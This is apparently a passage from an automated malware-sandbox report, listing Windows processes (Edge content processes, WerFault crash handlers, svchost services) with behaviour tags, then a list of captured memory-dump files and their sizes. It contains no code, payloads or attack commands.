                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                    1⤵
                                                                                    • Modifies registry class
                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:4772
                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                    1⤵
                                                                                    • Modifies registry class
                                                                                    PID:5480
                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                    1⤵
                                                                                    • Modifies registry class
                                                                                    PID:5764
                                                                                    • C:\Windows\system32\WerFault.exe
                                                                                      C:\Windows\system32\WerFault.exe -u -p 5764 -s 1972
                                                                                      2⤵
                                                                                      • Program crash
                                                                                      PID:6108
                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                    1⤵
                                                                                    • Modifies registry class
                                                                                    PID:5492
                                                                                    • C:\Windows\system32\WerFault.exe
                                                                                      C:\Windows\system32\WerFault.exe -u -p 5492 -s 1996
                                                                                      2⤵
                                                                                      • Program crash
                                                                                      PID:4344
                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                    1⤵
                                                                                    • Modifies registry class
                                                                                    PID:6096
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                    1⤵
                                                                                      PID:200
                                                                                    • \??\c:\windows\system32\svchost.exe
                                                                                      c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                      1⤵
                                                                                        PID:4480

                                                                                      Network

                                                                                      MITRE ATT&CK Enterprise v6

                                                                                      Replay Monitor

                                                                                      Loading Replay Monitor...

                                                                                      Downloads

                                                                                      • memory/860-219-0x0000017788C20000-0x0000017788C90000-memory.dmp

                                                                                        Filesize

                                                                                        448KB

                                                                                      • memory/992-182-0x000001C36E820000-0x000001C36E890000-memory.dmp

                                                                                        Filesize

                                                                                        448KB

                                                                                      • memory/1072-216-0x000001DBA6640000-0x000001DBA66B0000-memory.dmp

                                                                                        Filesize

                                                                                        448KB

                                                                                      • memory/1172-225-0x000002A9DED60000-0x000002A9DEDD0000-memory.dmp

                                                                                        Filesize

                                                                                        448KB

                                                                                      • memory/1360-227-0x0000023B72C60000-0x0000023B72CD0000-memory.dmp

                                                                                        Filesize

                                                                                        448KB

                                                                                      • memory/1388-126-0x0000000000400000-0x0000000000416000-memory.dmp

                                                                                        Filesize

                                                                                        88KB

                                                                                      • memory/1392-221-0x000001BF8C1A0000-0x000001BF8C210000-memory.dmp

                                                                                        Filesize

                                                                                        448KB

                                                                                      • memory/1568-119-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/1632-255-0x0000021E5FD00000-0x0000021E5FDFF000-memory.dmp

                                                                                        Filesize

                                                                                        1020KB

                                                                                      • memory/1632-181-0x0000021E5D770000-0x0000021E5D7E0000-memory.dmp

                                                                                        Filesize

                                                                                        448KB

                                                                                      • memory/1632-174-0x0000021E5D4B0000-0x0000021E5D4FB000-memory.dmp

                                                                                        Filesize

                                                                                        300KB

                                                                                      • memory/1808-114-0x0000000000400000-0x000000000042B000-memory.dmp

                                                                                        Filesize

                                                                                        172KB

                                                                                      • memory/1860-223-0x000001F45DA90000-0x000001F45DB00000-memory.dmp

                                                                                        Filesize

                                                                                        448KB

                                                                                      • memory/2032-123-0x0000000001740000-0x0000000001742000-memory.dmp

                                                                                        Filesize

                                                                                        8KB

                                                                                      • memory/2408-210-0x000002AEDE870000-0x000002AEDE8E0000-memory.dmp

                                                                                        Filesize

                                                                                        448KB

                                                                                      • memory/2436-188-0x000001B0B5580000-0x000001B0B55F0000-memory.dmp

                                                                                        Filesize

                                                                                        448KB

                                                                                      • memory/2700-229-0x00000239B2C40000-0x00000239B2CB0000-memory.dmp

                                                                                        Filesize

                                                                                        448KB

                                                                                      • memory/2720-217-0x0000017D1F080000-0x0000017D1F0F0000-memory.dmp

                                                                                        Filesize

                                                                                        448KB

                                                                                      • memory/2740-193-0x000002115CE00000-0x000002115CE70000-memory.dmp

                                                                                        Filesize

                                                                                        448KB

                                                                                      • memory/3016-342-0x0000000003480000-0x0000000003497000-memory.dmp

                                                                                        Filesize

                                                                                        92KB

                                                                                      • memory/3268-148-0x0000000000B64000-0x0000000000B65000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/3268-149-0x0000000000B65000-0x0000000000B67000-memory.dmp

                                                                                        Filesize

                                                                                        8KB

                                                                                      • memory/3268-147-0x0000000000B62000-0x0000000000B64000-memory.dmp

                                                                                        Filesize

                                                                                        8KB

                                                                                      • memory/3268-140-0x0000000000B60000-0x0000000000B62000-memory.dmp

                                                                                        Filesize

                                                                                        8KB

                                                                                      • memory/3324-187-0x00000206D8C30000-0x00000206D8CA0000-memory.dmp

                                                                                        Filesize

                                                                                        448KB

                                                                                      • memory/3852-141-0x0000000000AC0000-0x0000000000AC2000-memory.dmp

                                                                                        Filesize

                                                                                        8KB

                                                                                      • memory/3860-131-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/3984-146-0x0000000002800000-0x0000000002802000-memory.dmp

                                                                                        Filesize

                                                                                        8KB

                                                                                      • memory/3984-150-0x0000000002802000-0x0000000002804000-memory.dmp

                                                                                        Filesize

                                                                                        8KB

                                                                                      • memory/3984-151-0x0000000002804000-0x0000000002805000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/4720-177-0x0000000001000000-0x000000000105C000-memory.dmp

                                                                                        Filesize

                                                                                        368KB

                                                                                      • memory/4720-172-0x0000000000EFB000-0x0000000000FFC000-memory.dmp

                                                                                        Filesize

                                                                                        1.0MB

                                                                                      • memory/4860-158-0x00000000008B0000-0x00000000008C2000-memory.dmp

                                                                                        Filesize

                                                                                        72KB

                                                                                      • memory/4860-157-0x0000000000880000-0x0000000000890000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4916-265-0x0000000003570000-0x0000000003580000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/4916-271-0x00000000037B0000-0x00000000037C0000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/5152-319-0x0000000006680000-0x0000000006681000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5152-337-0x0000000006683000-0x0000000006684000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5152-320-0x0000000006682000-0x0000000006683000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5364-334-0x0000000000400000-0x0000000002BA9000-memory.dmp

                                                                                        Filesize

                                                                                        39.7MB

                                                                                      • memory/5364-333-0x0000000002D10000-0x0000000002D19000-memory.dmp

                                                                                        Filesize

                                                                                        36KB

                                                                                      • memory/5504-243-0x00000000001F0000-0x0000000000200000-memory.dmp

                                                                                        Filesize

                                                                                        64KB

                                                                                      • memory/5504-244-0x0000000000590000-0x00000000005A2000-memory.dmp

                                                                                        Filesize

                                                                                        72KB

                                                                                      • memory/5504-328-0x0000000000930000-0x000000000093C000-memory.dmp

                                                                                        Filesize

                                                                                        48KB

                                                                                      • memory/5532-247-0x0000000004700000-0x0000000004791000-memory.dmp

                                                                                        Filesize

                                                                                        580KB

                                                                                      • memory/5532-248-0x0000000000400000-0x0000000002BF4000-memory.dmp

                                                                                        Filesize

                                                                                        40.0MB

                                                                                      • memory/5660-285-0x0000000007FB0000-0x0000000007FB1000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5660-279-0x0000000007F20000-0x0000000007F21000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5660-261-0x00000000070F0000-0x00000000070F1000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5660-262-0x0000000007880000-0x0000000007881000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5660-284-0x00000000080F0000-0x00000000080F1000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5660-263-0x0000000007240000-0x0000000007241000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5660-286-0x0000000008630000-0x0000000008631000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5660-273-0x0000000007820000-0x0000000007821000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5660-318-0x0000000007243000-0x0000000007244000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5660-292-0x0000000008920000-0x0000000008921000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5660-278-0x0000000008000000-0x0000000008001000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5660-264-0x0000000007242000-0x0000000007243000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5820-345-0x0000000006F43000-0x0000000006F44000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5820-340-0x0000000006F42000-0x0000000006F43000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5820-339-0x0000000006F40000-0x0000000006F41000-memory.dmp

                                                                                        Filesize

                                                                                        4KB

                                                                                      • memory/5908-329-0x0000000000400000-0x000000000040C000-memory.dmp

                                                                                        Filesize

                                                                                        48KB